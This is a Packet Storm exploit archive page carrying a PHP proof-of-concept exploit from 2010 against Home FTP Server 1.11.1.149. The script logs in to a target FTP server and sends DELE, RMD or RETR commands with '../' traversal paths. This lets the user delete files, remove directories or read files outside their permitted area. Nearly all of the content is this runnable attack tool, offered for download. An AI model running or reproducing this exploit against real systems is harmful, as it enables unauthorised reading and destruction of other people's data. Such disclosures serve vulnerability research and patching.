exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Home FTP Server 1.11.1.149 RETR DELE RMD Directory Traversal

Home FTP Server 1.11.1.149 RETR DELE RMD Directory Traversal
Posted Nov 2, 2010
Authored by Pr0T3cT10n

Home FTP Server version 1.11.1.149 RETR DELE RMD remote directory traversal exploit.

tags | exploit, remote, file inclusion
SHA-256 | 6a232b409d37cb18d0fdc70c66cd5385f7cc0951a07280c3bea652cd4af5f3ce

Home FTP Server 1.11.1.149 RETR DELE RMD Directory Traversal

Change Mirror Download
<?php
# _ ____ __ __ ___
# (_)____ _ __/ __ \/ /_____ ____/ / _/_/ |
# / // __ \ | / / / / / //_/ _ \/ __ / / / / /
# / // / / / |/ / /_/ / ,< / __/ /_/ / / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/ / /_/_/
# Live by the byte |_/_/
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# The following is a proof of concept exploit for a path traversal vulnerability that exists in Home FTP Server.
# The vulnerability allows an unprivileged attacker to read files and delete files & folders whom he has no permissions to.
# The vulnerable FTP commands are:
# * RETR - Read File
# * DELE - Delete File
# * RMD - Remove Directory
#-----------------------------------
# Exploit Title: Home FTP Server v1.11.1.149 Remote Directory Traversal Exploit
# Date: 31/10/2010
# Author: Pr0T3cT10n
# Software Link: http://downstairs.dnsalias.net/files/HomeFtpServerInstall.exe
# Affected Version: 1.11.1.149
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###

error_reporting(E_ALL);
if(count($argv) <= 4) {
echo("\r\n# Usage: {$argv[0]} [HOST] [PORT] [USER] [PASS]\r\n");
echo("\tHOST - An host using Home FTP Server\r\n");
echo("\tPORT - Default is 21\r\n");
echo("\tUSER - Username\r\n");
echo("\tPASS - Password\r\n");
exit("\r\n");
} else {
$CMD = '';
$CFG = Array('file' => $argv[0], 'host' => $argv[1], 'port' => $argv[2], 'user' => $argv[3], 'pass' => $argv[4]);
$sock = fsockopen($CFG['host'], $CFG['port'], $errno, $errstr, 5);
if($sock) {
echo("(+) Connected to the FTP server at '{$CFG['host']}' on port {$CFG['port']}\r\n");
$read = fread($sock, 1024);
fwrite($sock, "USER {$CFG['user']}\r\n");
$read = fread($sock, 1024);
fwrite($sock, "PASS {$CFG['pass']}\r\n");
$read = fread($sock, 1024);
echo("(~) What would you like to do?\r\n\t1.Remove File\r\n\t2.Remove Directory\r\n\t3.Read File\r\n");
$CHSE = rtrim(fgets(STDIN));
if($CHSE == 1) {
$CMD.= "DELE";
echo("(~) Path to file(for example: ../../../test.txt): ");
$PATH = rtrim(fgets(STDIN));
if($PATH != '') {
fwrite($sock, "{$CMD} {$PATH}\r\n");
echo(fread($sock, 1024));
} else {
exit("(-) Empty path.\r\n");
}
} elseif($CHSE == 2) {
$CMD.= "RMD";
echo("(~) Path to directory(for example: ../../../test): ");
$PATH = rtrim(fgets(STDIN));
if($PATH != '') {
fwrite($sock, "{$CMD} {$PATH}\r\n");
echo(fread($sock, 1024));
} else {
exit("(-) Empty path.\r\n");
}
} elseif($CHSE == 3) {
$CMD.= "RETR";
echo("(~) Path to file(for example: ../../../test.txt): ");
$PATH = rtrim(fgets(STDIN));
if($PATH != '') {
fwrite($sock, "PASV\r\n");
$read = fread($sock, 1024);
$xpld = explode(',', $read);
$addr_tmp = explode('(', $xpld[0]);
$address = "{$addr_tmp[1]}.{$xpld[1]}.{$xpld[2]}.{$xpld[3]}";
$port_tmp = explode(')', $xpld[5]);
$newport = ($xpld[4]*256)+$port_tmp[0];
fwrite($sock, "{$CMD} {$PATH}\r\n");
$read = fread($sock, 1024);
$socket = fsockopen($address, $newport, $errno, $errstr, 5);
if($socket) {
echo(fread($socket, 1024));
}
} else {
exit("(-) Empty path.\r\n");
}
} else {
exit("(-) You have to choose correctly.\r\n");
}
} else {
exit("(-) Unable to connect to {$CFG['host']}:{$CFG['port']}\r\n");
}
}
?>

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close